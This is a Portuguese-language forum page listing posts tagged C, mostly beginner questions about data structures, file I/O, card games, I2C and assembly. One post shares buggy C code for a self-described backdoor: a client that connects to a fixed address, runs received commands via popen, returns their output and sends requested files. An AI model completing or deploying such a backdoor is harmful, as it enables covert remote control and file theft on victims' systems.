Search the Community
Showing results for tags 'c'.
-
eu entendo sobre programação sobre TCP e UDP com ipv4, mas não sei como proceder com ipv6! alguém pode ajudar a entender? por exemplo, com ipv6 em TCP se usaria inet_pton(); como ficaria com UDP?
-
boa tarde companheiros, estou tentando criar um jogo, onde o user passa uma string e o programa embaralha elas e o jogador tenta acertar. mas meu problema é que não sei como embaralhar as strings #include <stdio.h> #include <string.h> #include <stdlib.h> int main(){ int len = 0; char *str = (char *) malloc(sizeof(char) * 4096); if(str == NULL){ realloc(str, sizeof(char) * 1024); } char *copy = (char *) malloc(sizeof(char) * 4096); if(copy == NULL){ realloc(copy, sizeof(char) * 1024); } printf("Str: "); fgets(str, (sizeof(char) * 4096), stdin); char *token = strtok(str, ";"); while(token != NULL){ // junta as strings e aumenta 1 strcat(copy, token); len = len +1; token = strtok(NULL, ";"); } // diminui 1 len--; printf("string: %s\n", copy); free(str); free(copy); return 0; }
-
alguém pode por favor me explicar como funciona uma linked list? só falta isso pra eu prosseguir no meu curso!
-
como faço pra capturar backspace? estou programando um editor de texto, mas não consigo usar backspace.
-
Um artigo sobre as opções do standard do C e C++ relativamente a undefined behavior, com exemplos um pouco "assustadores" de como os compiladores usam os undefined behaviors para optimizar programas e produzir resultados totalmente inesperados. C and C++ Prioritize Performance over Correctness
-
estou codando esse backdoor mas eu sou meio que confuso ao escrever mais de um arquivo. ele conecta, mas o servidor fecha ao dar primeiro comando, anulando ação do while, e também estou meio perdido em criar função de copia de arquivo. // servidor #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <sys/socket.h> #include <sys/types.h> #include <unistd.h> #include <netdb.h> #include <arpa/inet.h> int main(void){ struct sockaddr_in addr = { .sin_family = AF_INET, .sin_port = htons(1500), .sin_addr.s_addr = inet_addr("10.0.0.9") }; int sock = socket(AF_INET, SOCK_STREAM, 0); if(sock == -1){ perror("Sock error"); exit(1); } printf("Esperando cliente...\n"); int b = bind(sock, (struct sockaddr *)&addr, sizeof(addr)); listen(sock, 1); int cnx = accept(sock, (struct sockaddr *)&addr, 0); char cmd[256]; while(1){ printf("SHELL>"); fgets(cmd, 256, stdin); cmd[strlen(cmd)-1]='\0'; if(strcmp(cmd, "0")==0){ send(sock, "0", 1, 0); close(b); close(cnx); close(sock); exit(0); } if(strcmp(cmd, "c")==0){ char msgB[] = "200"; send(sock, msgB, strlen(msgB), 0); char nFile[256]; char f[256]; printf("FILE: "); fgets(nFile, 256, stdin); send(sock, nFile, strlen(nFile), 0); FILE *close = fopen(nFile, "wb"); long int rec; while(rec = fgetc(recv(sock, f, 256, 0)) != EOF){ fprintf(close, "%c", rec); } fclose(close); } char msg[512]; send(sock, cmd, strlen(cmd), 0); recv(sock, msg, 512, 0); puts(msg); } return 0; } //============================================================ //cliente #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <sys/socket.h> #include <sys/types.h> #include <unistd.h> #include <netdb.h> #include <arpa/inet.h> int main(void){ struct sockaddr_in addr = { .sin_family = AF_INET, .sin_port = htons(1500), .sin_addr.s_addr = inet_addr("10.0.0.9") }; int sock = socket(AF_INET, SOCK_STREAM, 0); if(sock == -1){ perror("Sock error"); exit(1); } int cnx = connect(sock, (struct sockaddr *)&addr, sizeof(addr)); char cmd[256]; while(1){ recv(sock, cmd, 256, 0); cmd[strlen(cmd)-1]='\0'; if(strcmp(cmd, "0")==0){ close(cnx); close(sock); exit(0); } if(strcmp(cmd, "c")==0){ char nFile[256]; char f[256]; char msgEnv = "200\n: "; send(sock, msgEnv, strlen(msgEnv), 0); recv(sock, nFile, 256, 0); FILE *open = fopen(nFile, "rb"); int byte; while(byte = fgetc(open) != EOF){ send(sock, byte, strlen(byte), 0); } fclose(open); } } char msg[256]; FILE *packet = popen(cmd, "r"); while(fgets(msg, 256, packet) != NULL){ send(sock, msg, strlen(msg), 0); } return 0; }
-
olá! estou estudando pilhas em c mas não estou compreendendo muito bem. #include <stdio.h> int carro[5]={0,0,0,0,0}; int topo=0; void show(){ for(int run=0; run < 5; run++){ printf("==="); printf("%d", carro[run]); printf("==="); } printf("\ntopo: %d\n", topo); } void add(){ int pessoa; if(topo < 5){ printf("pessoa: "); scanf("%d", &pessoa); carro[topo] = pessoa; topo = topo +1; } else{ printf("carro cheio\n"); } } void del(){ if(topo > 0){ carro[topo]= 0; topo = topo -1; } else{ printf("carro vazio\n"); } } void clear(){ for(int run=0; run < 5; run++){ carro[run]=0; } topo =0; } int main(){ int op; do{ printf("1-show, 2-add, 3-del, 4-clear, 00-exit: "); scanf("%d", &op); switch(op){ case 1: show(); break; case 2: add(); break; case 3: del(); break; case 4: clear(); break; } }while(op != 00); return 0; } meu código não deleta valor da pilha, e não consigo colocar valor do topo, apenas a quantidade.
-
Boa noite. Estou a tentar criar um programa que conte o número de linhas e caracteres a partir do standard input (stdin). O código que implementei está descrito em baixo: #include <stdio.h> int main() { char nomes[200]; int caracteres = 0; int nlinhas = 0; int i; while (fgets(nomes, 200, stdin) && nomes[0]!='\n') { for(i=0; i<=200; i++) if (nomes[i]=='\n') caracteres+=i; nlinhas++; } fprintf(stdout, "%d %d",nlinhas,caracteres); } O programa contabiliza corretamente o número de linhas mas não o número de caracteres. Se executar apenas uma linha de texto a contagem dos caracteres surge correta. De referir que os espaços também são contemplados para a contagem de caracteres (é suposto isto verificar-se para o exercício em causa). Deixo aqui um exemplo do output do programa onde o resultado esperado seria 4 28 e o que aparece é 4 35: https://files.fm/u/24kgbn2b36 Alguém tem uma sugestão? Obrigado.
-
Boa tarde, eu estou a tentar gravar umas informações extras numa struct, por exemplo, o numero de vezes que uma empresa foi pesquisada e por onde, mas quando tento guardar num ficheiro na primeira vez não guarda, mas sim a partir da segunda execução. As structs: typedef struct { int searchCounter, searchByNameCounter, searchByCategoryCounter, searchByActivityCounter; } Information; typedef struct { int maxInformation, numberInformation; Information *information; } Informations; e as funções de guardar e de dar load: void updateStructInformation(char *txt, Informations *informations) { FILE *var = fopen(txt, "rb+"); if (var == NULL) { perror("Erro ao abrir o arquivo"); return; } fseek(var, 0, SEEK_SET); for (int i = 0; i < informations->numberInformation; ++i) { fwrite(&(informations->information[i]), sizeof(Information), 1, var); } fclose(var); } void loadStructInformation(int number, char *txt, Information *information, int structSize) { FILE *var = fopen(txt, "rb+"); if (var == NULL) { var = fopen(txt, "wb"); fclose(var); return; } fseek(var, 0, SEEK_SET); fread(information, structSize, number, var); fclose(var); } e eu inicio as informações da struct no main: Informations informations = { .maxInformation = numberCompanies > 10 ? numberCompanies * 2 : 10, .numberInformation = numberCompanies, .information = (Information *) malloc(informations.maxInformation * sizeof(Information)) }; Agradeço toda a ajuda :)
-
Olá a todos. Foi-me pedido para desenvolver um código em que, uma das funcionalidades é carregar, editar e excluir dados de um ficheiro. O programa não paresenta erros de compilação, mas quando fecho e volto a abrir, os dados não são guardados no ficheiro. Aqui estão as structs: typedef enum { MICRO, PME, GRANDE, EMPTY } Category; typedef enum { INATIVO, ATIVO } Status; typedef struct { char branch[MAX_BRANCH]; } Branch; typedef struct { int maxBranch; int branchCounter; Branch *branch; Status status; } BranchActivity; typedef struct { char title[MAX_TITLE]; char text[MAX_TEXT]; char username[MAX_USERNAME]; char email[MAX_EMAIL]; Status status; } Comment; typedef struct { int rating; } Classification; typedef struct { unsigned int nif; char name[MAX_NAME]; Category companyCategory; char branch[MAX_BRANCH]; char adress[MAX_ADRESS]; char location[MAX_LOCATION]; char postalCode [MAX_POSTAL_CODE]; Status status; int maxComments; int commentsCounter; int maxClassification; int classificationCounter; Classification *classification; Comment *comments; } Company; typedef struct { int companiesCounter; int maxCompanies; Company *company; } Companies; As funções respetivas aos ficheiros: int getFileCounter(char *filename) { int counter = 0; FILE *fp = fopen(filename, "rb"); if (fp != NULL) { fread(&counter, sizeof (int), 1, fp); fclose(fp); } return counter; } void updateFileCounter(int counter, char *filename) { FILE *fp = fopen(filename, "rb+"); if (fp == NULL) { exit(EXIT_FAILURE); } fwrite(&counter, sizeof (int), 1, fp); fclose(fp); } void loadCompaniesFromFile(Companies *companies, char *filename) { FILE *fp = fopen(filename, "rb"); if (fp == NULL) { fp = fopen(filename, "wb"); } else { fread(&companies->companiesCounter, sizeof (int), 1, fp); if (companies->companiesCounter > 0) { fread(companies->company, sizeof (Company), companies->companiesCounter, fp); } } fclose(fp); } void insertCompanyInFile(Companies companies, char *filename) { FILE *fp = fopen(filename, "ab"); if (fp == NULL) { exit(EXIT_FAILURE); } fwrite(&companies.company[companies.companiesCounter - 1], sizeof (Company), 1, fp); fclose(fp); updateFileCounter(companies.companiesCounter, filename); } void updateCompanyInFile(Companies companies, int index, char *filename) { FILE *fp = fopen(filename, "rb+"); if (fp == NULL) { exit(EXIT_FAILURE); } fseek(fp, sizeof (int), SEEK_SET); fseek(fp, sizeof (Company) * index, SEEK_CUR); fwrite(&companies.company[index], sizeof (Company), 1, fp); } void removeCompanyFromFile(Companies companies, char* filename) { FILE *fp = fopen(filename, "wb"); if (fp == NULL) { exit(EXIT_FAILURE); } fwrite(&companies.companiesCounter, sizeof (int), 1, fp); fwrite(companies.company, sizeof (Company), companies.companiesCounter, fp); } Agradeço toda a ajuda possível 😀
-
Boas. Ainda no seguimento desta thread, estou a tentar ler 32 bytes de dados aleatórios do device /dev/urandom e guardar cada byte num array e depois mostrar cada byte na consola, mas algo está a correr mal. Então, o que estou a fazer é criar um ponteiro para uma stream, depois abrir essa stream, e no loop for, leio byte a byte, 32 bytes do device /dev/urandom. Depois tento imprimir cada byte, mas de vez em quando parece-me correcto e outras vezes, aparecem uns poucos de ffffff que não sei porque aparecem. Ignorem para já a parte da biblioteca GMP que está no código. #include <stdio.h> #include <math.h> #include <gmp.h> #include <inttypes.h> #include <stdlib.h> #include <string.h> int main(void) { uint8_t bytes = ceil(log2(pow(2, 256) - 1) + 1) / 8; FILE* fpointer = NULL; char* data = NULL; mpz_t imp_val; mpz_init(imp_val); if( (data = (char*) malloc(bytes)) == NULL) { printf("Memory error!\n"); exit(-1); } printf("bytes: %d\n", bytes); if( (fpointer = fopen("/dev/urandom", "rb")) == NULL ) return -1; rewind(fpointer); for(uint8_t i = 0; i < bytes; i++){ fread(&data[i], 1, 1, fpointer); printf("%02x ", data[i]); } printf("\n"); printf("Len: %ld\n", strlen(data)); printf("Sizeof: %lu\n", sizeof(data[0])); mpz_import(imp_val, 32, 1, sizeof(data[0]), 0, 0, data); gmp_printf("Data: %Zb\n", imp_val); mpz_clear(imp_val); free(data); fclose(fpointer); return 0; } Este código dá-me outputs deste género: $ ./randoma bytes: 32 07 4b fffffffe ffffffd6 60 03 ffffffa0 ffffff85 ffffffdb ffffffed 24 fffffff3 58 10 48 03 60 ffffff81 33 6d fffffff1 66 59 ffffff80 ffffffb0 ffffffdc fffffff6 ffffffee 5d 3f 07 ffffffad Len: 32 Sizeof: 1 Data: 11111111111110011101000100000111001010101110000 Os dois primeiros bytes, parecem-me aceitaveis, mas depois tem dois segmentos com os tais fffffff que não sei porque é que aparecem. Também não sei ao certo se o rewind() é mesmo necessário, ou não, mas coloquei só para descargo de consciência!
-
Boas. Estou com algumas dificuldades em perceber como fazer aqui umas cenas... Tenho 3 funcções em que uma delas vai chamar as outras duas em condições específicas mas todas ou quase todas as variáveis estão criadas na função main(). Pretendo também perceber se há alguma maneira mais elegante de fazer este tipo de coisa. Uma função chamar outras duas e enviar-lhes parâmetros por referência. As 3 funções que tenho são: ecdsa_add(gmp_coord pointA, gmp_coord pointB, gmp_coord* newPointAplusB, mpz_t opA, mpz_t opP); ecdsa_double(gmp_coord point, gmp_coord* pointDouble, mpz_t opA, mpz_t opP); ecdsa_doubleadd(gmp_coord pointG, gmp_coord* newPoint, gmp_coord* newPointdoubleadd,mpz_t opA, mpz_t opP); A variável gmp_coord é definida por mim como: typedef struct{ mpz_t x; mpz_t y; }gmp_coord; Na função main() tenho declaradas todas aquelas variáveis que estão nos parâmetros das 3 funções: gmp_coord pointG, pointP, pointQ, pointG; gmp_coord* pointAdd, pointDouble, pointDoubleAdd; mpz_t opA, opP; Depois é suposto chamar estas 3 funções uma de cada vez, para já só para testar, embora dentro da ecdsa_doubleAdd() eu chame as outras duas: ecdsa_add(pointP, pointQ, &pointAdd, a, P); ecdsa_double(pointP, &pointDouble, a, P); ecdsa_doubleAdd(pointG, &pointDoubleP, &pointDoubleAdd, privKey, a, P); Agora penso que em termos de apontadores, está tudo correcto, já que eu quero alterar os seus valores na função main(), onde elas foram declaradas. A minha pergunta é: quando enviamos uma destas variáveis para dentro de uma função que por sua vez são enviados para dentro de outra função dentro da primeira função, ter as variáveis na função main() declaradas apenas como apontadores para um tipo de dados é suficiente ou tenho que as declarar como apontadores para apontadores? E há alguma forma mais elegante de "montar" estas 3 funções? É qe não sei se é muito comum enviar parâmetros para dentro de uma função que directamente ela não vai precisar deles. É só para os enviar para as funções que esta função vai chamar dentro dela!
-
Boas. Estou a escrever um pequeno código para escrever e ler uma string (ou várias) numa eeprom, usando o protocolo I2C e livrarias do Arduino. O sistema é composto pelo seguinte: USB-TTL <-> ESP8266 <-> EEPROM O código completo pode ser consultado aqui. O que acontece é que a livraria Wire.h para o ESP8266 tem um buffer the 128 bytes e portanto, se a string tiver mais que 128 bytes, eu tenho que fazer a leitura por várias vezes. Ao fazer a leitura de 128 bytes em 128 bytes, o que me está a acontecer é que no 128º byte, eu recebo um NACK do I2C e embora na próxima leitura de 128 bytes eu esteja a ler este último byte que devolveu NACK e de a string estar completa, não consigo perceber porque é que neste byte 128 recebo sempre um NACK em vez de um ACK. A função que lê os bytes e os envia para a porta série é a seguinte: // Read bytes from eeprom device void readEEPROM(uint8_t intaddr, uint16_t datalen){ char singleChar; for(uint16_t i = 0; i < datalen; i++){ if(!(i % 128)){ Wire.beginTransmission(I2C_SLAVE_ADDR7); Wire.write(intaddr + i); Wire.endTransmission(); Wire.requestFrom(I2C_SLAVE_ADDR7, (int) (datalen - i)); } singleChar = Wire.read(); Serial.print(singleChar); } } Se alguém me conseguir identificar o bug, ou se me souber explicar porque é que isto acontece ou se é normal acontecer, eu agradeço. Edited; É isto que acontece:
-
não sei onde esta o erro AREA my_data, DATA, READWRITE ; Área de dados array DCB 2, 3, 3, 7, 9 ; Declaração do array inicial result1 SPACE 5 ; Espaço para a lista result1 result2 SPACE 5 ; Espaço para a lista result2 result3 SPACE 5 ; Espaço para a lista result3 result4 SPACE 5 ; Espaço para a lista result4 ... AREA my_text, CODE, READONLY ; Área de código ; Função para copiar a lista inicial para result1 func1: LDR r1, =result1 ; Carrega o endereço de result1 em r1 LDR r0, =array ; Carrega o endereço de array em r0 LDRB r2, [r0] ; Carrega o primeiro elemento de array em r2 STRB r2, [r1] ; Armazena o elemento em result1 ; Continua com as operações desejadas BX lr ; Retorna ao endereço da próxima instrução (retorna à função main) ; Função para copiar a lista inicial para result2 e result3, ordenada de forma crescente e decrescente func2: LDR r2, =result2 ; Carrega o endereço de result2 em r2 LDR r3, =result3 ; Carrega o endereço de result3 em r3 ; Implemente o algoritmo de ordenação (ex: bubble sort) para ordenar a lista array em result2 (crescente) ; Implemente o algoritmo de ordenação para ordenar a lista array em result3 (decrescente) ; Continua com as operações desejadas BX lr ; Retorna ao endereço da próxima instrução (retorna à função main) ; Função para calcular a soma dos elementos da lista inicial (array) func3: LDR r4, =array ; Carrega o endereço de array em r4 MOV r5, #0 ; Inicializa o contador de soma com zero loop: LDRB r6, [r4] ; Carrega o próximo elemento de array em r6 ADD r5, r5, r6 ; Adiciona o elemento à soma atual ADD r4, r4, #1 ; Avança para o próximo elemento de array ; Verifica se chegou ao fim da lista (fim do loop) CMP r4, =array + 5 ; Compara o endereço atual com o endereço final da lista BNE loop ; Se não chegou ao fim, continua o loop ; Continua com as operações desejadas BX lr ; Retorna ao endereço da próxima instrução (retorna à função main) ; Função para copiar os números pares da lista inicial para result4 func4: LDR r5, =result4 ; Carrega o endereço de result4 em r5 LDR r0, =array ; Carrega o endereço de array em r0 LDRB r6, [r0] ; Carrega o primeiro elemento de array em r6 ; Verifica se o elemento é par e o copia ... main: BL func1 ; Chama a função func1 BL func2 ; Chama a função func2 BL func3 ; Chama a função func3 BL func4 ; Chama a função func4 ; Continua com as operações desejadas ; Finalize o programa MOV r0, #0 ; Valor de retorno 0 para indicar sucesso MOV r7, #1 ; Chamar o serviço de interrupção para encerrar o programa SWI 0 ; Executa o serviço de interrupção END ; Fim do código assembly
-
Este é um código que encontrei e tentei adaptar mas a "animação" está demasiado rápida para se perceber. #include <stdio.h> //Giving some delay void delay( unsigned int value) { unsigned int count1 =10; unsigned int count2 =10; for(count1 = 10; count1 < value ; count1++ ) { for(count2 = 10; count2 < count1 ; count2++ ) { } } } // string to display Rocket const char rocket[] =R"EOF( _____ _____ _____ /\ \ /\ \ /\ \ /::\ \ /::\ \ /::\ \ \:::\ \ \:::\ \ /::::\ \ \:::\ \ \:::\ \ /::::::\ \ \:::\ \ \:::\ \ /:::/\:::\ \ \:::\ \ \:::\ \ /:::/ \:::\ \ /::::\ \ /::::\ \ /:::/ \:::\ \ /::::::\ \ ____ /::::::\ \ /:::/ / \:::\ \ /:::/\:::\ \ /\ \ /:::/\:::\ \ /:::/ / \:::\ \ /:::/ \:::\____\/::\ \/:::/ \:::\____\/:::/____/ \:::\____\ /:::/ \::/ /\:::\ /:::/ \::/ /\:::\ \ \::/ / /:::/ / \/____/ \:::\/:::/ / \/____/ \:::\ \ \/____/ /:::/ / \::::::/ / \:::\ \ /:::/ / \::::/____/ \:::\ \ \::/ / \:::\ \ \:::\ \ \/____/ \:::\ \ \:::\ \ \:::\ \ \:::\ \ \:::\____\ \:::\____\ \::/ / \::/ / \/____/ \/____/ )EOF"; const char rocket1[] =R"EOF( _____ _____ _____ /\ \ /\ \ /\ \ /::\ \ /::\ \ /::\ \ \:::\ \ /::::\ \ /::::\ \ \:::\ \ /::::::\ \ /::::::\ \ \:::\ \ /:::/\:::\ \ /:::/\:::\ \ \:::\ \ /:::/__\:::\ \ /:::/ \:::\ \ /::::\ \ /::::\ \:::\ \ /:::/ \:::\ \ /::::::\ \ /::::::\ \:::\ \ /:::/ / \:::\ \ /:::/\:::\ \ /:::/\:::\ \:::\ \ /:::/ / \:::\ \ /:::/ \:::\____\/:::/ \:::\ \:::\____\/:::/____/ \:::\____\ /:::/ \::/ /\::/ \:::\ /:::/ /\:::\ \ \::/ / /:::/ / \/____/ \/____/ \:::\/:::/ / \:::\ \ \/____/ /:::/ / \::::::/ / \:::\ \ /:::/ / \::::/ / \:::\ \ \::/ / /:::/ / \:::\ \ \/____/ /:::/ / \:::\ \ /:::/ / \:::\ \ /:::/ / \:::\____\ \::/ / \::/ / \/____/ \/____/ )EOF"; const char rocket2[] =R"EOF( _____ _______ _____ /\ \ /::\ \ /\ \ /::\ \ /::::\ \ /::\ \ \:::\ \ /::::::\ \ /::::\ \ \:::\ \ /::::::::\ \ /::::::\ \ \:::\ \ /:::/~~\:::\ \ /:::/\:::\ \ \:::\ \ /:::/ \:::\ \ /:::/__\:::\ \ /::::\ \ /:::/ / \:::\ \ /::::\ \:::\ \ /::::::\ \ /:::/____/ \:::\____\ /::::::\ \:::\ \ /:::/\:::\ \ |:::| | |:::| | /:::/\:::\ \:::\ \ /:::/ \:::\____\|:::|____| |:::| |/:::/__\:::\ \:::\____\ /:::/ \::/ / \:::\ \ /:::/ / \:::\ \:::\ \::/ / /:::/ / \/____/ \:::\ \ /:::/ / \:::\ \:::\ \/____/ /:::/ / \:::\ /:::/ / \:::\ \:::\ \ /:::/ / \:::\__/:::/ / \:::\ \:::\____\ \::/ / \::::::::/ / \:::\ \::/ / \/____/ \::::::/ / \:::\ \/____/ \::::/ / \:::\ \ \::/____/ \:::\____\ ~~ \::/ / \/____/ )EOF" ; int main() { int jumpControlAtBottom = 0; const int someDelay = 16000; int shifControl = 0; //jump to bottom of console for (jumpControlAtBottom = 0; jumpControlAtBottom < 30; ++jumpControlAtBottom) { printf("\n"); } //Print rocket fputs(rocket,stdout); fputs(rocket1, stdout); fputs(rocket2, stdout); for (shifControl = 0; shifControl < 30; ++shifControl) { // Rocket move on the basis of delay delay(someDelay); // move rocket a line upward printf("\n"); } return 0; }
-
aloooo tenho que fazer um trabalho de programação, e estou com imensas dificuldades em fazer a opção de jogo computer vs computer em C no jogo do galo. Agradecia imenso se alguém me pudesse ajudar.
-
Tive uma questão na faculdade sobre descobrir a idade maior usando if(apesar de querer usar vetores). Esta aqui a solução para caso alguém precise: #include <stdio.h> int main(void) { int a, b, maior, c; printf("Insira uma idade: \n"); scanf("%d", &a); printf("Insira outra idade: \n"); scanf("%d", &b); printf("Insira mais uma idade: \n"); scanf("%d", &c); if(a > b){ maior = a; }else{ maior = b; }if(maior > c){ printf("A maior idade é: %d", maior); }else{ maior = c; printf("A maior idade é: %d", maior); } return 0; }
-
Foi-me pedido para desenvolver um programa em C que crie um baralho de cartas e os jogadores para um jogo da sueca, os escreva e eventualmente faça o jogo decorrer Este foi o enunciado que me deram: estrutura s_carta e o tipo t_carta - face (1 carater) de entre "A7KQJ65432" - naipe (1 carater) de entre "ECOP" - pontos (1 inteiro) de entre 11 10 4 3 2 0 - ordem (1 inteiro) entre 0 e 39 estrutura s_jogador e o tipo t_jogador - nome (vetor de 10 carateres) - vcartas [mão] (vetor de 10 t_carta) - ncartas [qtd de cartas q tem na mão] (1 inteiro) Na main vou precisar de declarar: - baralho (vetor de 40 t_carta) - vjogadores (vetor de 4 t_jogador) Funções necessárias criarBaralho - ver exame de 5 de Setembro de 2022, ex 5. - ver faces_e_naipes.c do moodle e adaptar escCarta - recebe UMA t_carta e escreve a carta no ecran (ex: AP - Ás de Paus) (a função é um único printf) - Nota no final, para por com cores e com símbolos é esta a única função que deve ser alterada escCartas - recebe um vetor de cartas e a sua qtd de elementos e escreve as cartas do vetor no ecran. - Usa a função escCarta escBaralho - recebe um vetor de 40 cartas e escreve as cartas do vetor no ecran (10 em cada linha). criarJogadores - recebe o vetor com 4 jogadores e preenche-o com o respetivo nome (hardcoded usando strcpy) e coloca as respetivas ncartas a 0. escJogador - recebe UM jogador - Escreve o nome do jog e o vetor de cartas q tem na mao escJogadores - recebe o vetor de (4) jogadores (e o índice do 1º jogador a ser escrito - para a parte opcional ) Funções para baralhar e ordenar vetores de t_cartas Ir ver o programa e5_ordenacao_de_estruturas.c E adaptar a ordenação/desordenação de uma turma por 'idade' crescente para ordenar/desordenar um baralho por 'ordem' crescente Funções para partir o baralho - rodar o vetor de t_carta uma casa - rodar o vetor de t_carta n casas (usa a anterior) (está feito na aula sobre vetores para vetores de inteiros) Função para dar - recebe o vetor baralho (já baralhado e partido) e o vetor de jogadores. - recebe tb o índice do jogador que dá. - Altera tb o ncartas de cada jogador para 10. - devolve uma t_carta (o trunfo) (pode ser ou não por referência) Na main vou: - declarar baralho (vetor de 40 t_carta) - declarar vjogadores (vetor de 4 t_jogador) - criar o baralho - criar os jogadores - escrever o baralho (originalmente ordenado) - escolher à sorte o índice do jogador que baralha - escrever o nome do jogador que baralha - baralhar as cartas - escrever baralho baralhado - determinar índice do jogador que parte - escrever o nome do jogador que parte - tirar n à sorte entre 0 e 39 - partir o baralho por esse nº - escrever baralho partido - determinar índice do jogador que dá - escrever o nome do jogador que dá - dar as cartas - escrever os jogadores (cada um com as resp cartas desordenadas) - escrever o trunfo - ordenar as cartas de cada jogador - escrever os jogadores (cada um com as resp cartas ordenadas) Consegui fazer até escCartas, mas fiquei preso no escrever o baralho Este é o meu código até agora: #include<stdio.h> #include<stdlib.h> #include<time.h> #include<string.h> ///Carta typedef struct s_carta { char naipe; char face; int ordem; int pontos; } t_carta; ///Jogador typedef struct s_jogador { int nome[10]; //Nome do jogador int vcartas[10]; //Vetor de 10 cartas que corresponde ao seu baralho int ncartas; //Número de cartas que o jogador tem na mão }t_jogador; ///Criar baralho void criarBaralho(t_carta baralho[]) { char naipes[]="ECOP"; // Espadas, Copas, Ouros, Paus char faces []="A7KJQ65432"; //int pontos={11,10,4,3,2,0,0,0,0,0}; caso queira passar para a parte não obrigatória for(int i=0;i<40;i++) { baralho[i].naipe=naipes[i/10]; baralho[i].face=faces [i%10]; baralho[i].ordem=i; //baralho[i].pontos=pontos[i%10]; } } ///Escrever Carta void escCarta(t_carta carta) { printf("%c%c", carta.face, carta.naipe); } ///Escrever um vetor de Cartas void escVetorDecartas (t_carta vCartas[], int n) { for (int i=0;i<n;i++)escCarta(vCartas[i]); } ///Escrever Baralho void escBaralho ( Seria possível alguém me ajudar com este tópico?
-
Estou a fazer um jogo de cartas da sueca e já consegui mostrar o baralho, "partir" e mostrar a mão de cada player o meu problema está em organizar as cartas de acordo com o naipe e a grandeza e fazer com que eles "joguem" a carta e assistam a jogada anterior. #include <stdio.h> #include <stdlib.h> #include <string.h> #include <time.h> #define DECK_NSUITS 4 #define DECK_NVALUES 10 #define DECK_SIZE (DECK_NSUITS * DECK_NVALUES) #define HAND_COUNT 4 #define HAND_SIZE (DECK_SIZE / HAND_COUNT) #define card_suit(card) ((card >> 8) & 0xff) #define card_value(card) (card & 0xff) #define card_compose(suit, value) (((suit & 0xff) << 8) | (value & 0xff)) #define card_swap(card1, card2) do { if (*card1 != *card2) { *card1 ^= *card2; *card2 ^= *card1; *card1 ^= *card2; } } while (0) void deck_build(short * deck) { int suit = 0, value = 0; for (suit = 1; suit <= DECK_NSUITS; suit++) for (value = 1; value <= DECK_NVALUES; value++) deck[(suit - 1) * DECK_NVALUES + value - 1] = card_compose(suit, value); } void card_output(short card) { switch (card_suit(card)) { case 1 : printf("%c", 3); break; case 2 : printf("%c", 4); break; case 3 : printf("%c", 5); break; case 4 : printf("%c", 6); break; } switch (card_value(card)) { case 1 : printf("A "); break; case 8 : printf("Q "); break; case 9 : printf("J "); break; case 10 : printf("K "); break; default : printf("%-2d", card_value(card)); } } void deck_shuffle(short * deck) { int i = 0, r = 0; for (i = 0; i < DECK_SIZE; i++) { r = rand() % (DECK_SIZE - i); card_swap(&deck[r], &deck[i + r]); } } int main() { short deck[DECK_SIZE]; short hands[HAND_COUNT][HAND_SIZE]; int i, j; /* start randon number genereation */ srand(time(NULL)); /* deck build */ deck_build(deck); /* deck destribution to the players hands */ for (i = 0; i < HAND_COUNT; i++) memcpy(hands[i], &deck[i * HAND_SIZE], HAND_SIZE * sizeof(short)); /* hand presentation */ printf("BARALHO:\n"); for (i = 0; i < HAND_COUNT; i++) { for (j = 0; j < HAND_SIZE; j++) { card_output(hands[i][j]); } printf("\n"); } printf("\n"); /* deck shuffle */ deck_shuffle(deck); /* deck destribution to the players hands */ for (i = 0; i < HAND_COUNT; i++) memcpy(hands[i], &deck[i * HAND_SIZE], HAND_SIZE * sizeof(short)); /* player que baralha */ int num = (rand() % (4)) + 1; printf("player%d baralha:\n", num); /* hand presentation */ for (i = 0; i < HAND_COUNT; i++) { for (j = 0; j < HAND_SIZE; j++) { card_output(hands[i][j]); } printf("\n"); } printf("\n");printf("\n"); /* parte a hand */ if(num == 4){ printf("player1 parte:\n"); }else{ printf("player%d parte:\n", num+1); } for (i = 0; i < HAND_COUNT; i++) { for (j = 0; j < HAND_SIZE; j++) { card_output(hands[i][j+1]); } printf("\n"); } printf("\n");printf("\n"); /* dá a hand */ if(num+1==4){ printf("player1 da:\n"); } else if(num+1==5){ printf("player2 da:\n"); }else{ printf("player%d da:\n", num+2); } for (i = 0; i < HAND_COUNT; i++) { printf("player%d: ", i+1); for (j = 0; j < HAND_SIZE; j++) { card_output(hands[i][j+1]); } printf("\n"); } return 0; } Uma ideia do resultado final Também já arranjei muito código daqui mas fui alterando para o que precisava
-
Boas malta, Estou com uma dificuldade em adicionar uma estrutura a um vetor (estrutura) através do memcpy e não estou a perceber o porquê. As estruturas estão definidas no vecloc.h bem como as funções e suas implementações num ficheiro .c, mas coloquei aqui para uma simplificação visual. Talvez não esteja a perceber bem como aceder a diferentes estruturas através do vector vecloc->data, alguém me consegue dar alguma sugestão ou conteúdo ou mesmo explicar-me esta parte? Desde já agradeço qualquer ajuda! #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdbool.h> #include "vecloc.h" /* typedef struct{ int fileIdx; int line; long offset; } Location; typedef struct{ int space; int count; Location *data; } VecLoc; * */ VecLoc *vlCreate( void ) { VecLoc* v = malloc(sizeof(VecLoc)); if(v == NULL) return NULL; v->data = malloc(sizeof(Location)); if(v->data == NULL) { free(v); return NULL; } v->space = 1; v->count = 0; v->data = NULL; return v; } Location* vector_get_dataPos(VecLoc* v, int pos) { if(pos > v->count) return NULL; return v->data + pos * sizeof(Location); } int vlAdd( VecLoc *vec, Location *loc ) { if(vector_has_space(vec) == false) { vec->data = realloc(vec->data, (vec->space + VECTOR_INCREMENT_DATA) * sizeof(Location)); if(vec->data == NULL) return 0; vec->space += VECTOR_INCREMENT_DATA; printf("Vector Count is now %d\n", vec->count); } int newDataPos = vec->count ; Location* newData = vector_get_dataPos(vec, newDataPos); memcpy(newData, loc, sizeof(Location)); vec->count++; return 1; } int main() { Location locToCopy; locToCopy.fileIdx = 1; locToCopy.line = 2; locToCopy.offset = 0; Location* locPtr = &locToCopy; //VecLoc *vlCreate( void ); VecLoc* ptrVec = vlCreate(); int x = vlAdd(ptrVec, locPtr); if(x) { printf("Vetor Space = %d\n", ptrVec->space); printf("Vetor Count = %d\n", ptrVec->count); printf("Vetor Location fileIDX = %d\n", ptrVec->data->fileIdx); printf("Vetor Location line = %d\n", ptrVec->data->line); printf("Vetor Location offset = %d\n",(int) ptrVec->data->offset); } return 0; }
-
Boa noite, Pretendo elaborar um código para a execução do jogo Yahtzee no Visual Studio e gostaria de obter alguma sugestão de por onde começar e conselhos relativamente à sua elaboração. Obg
-
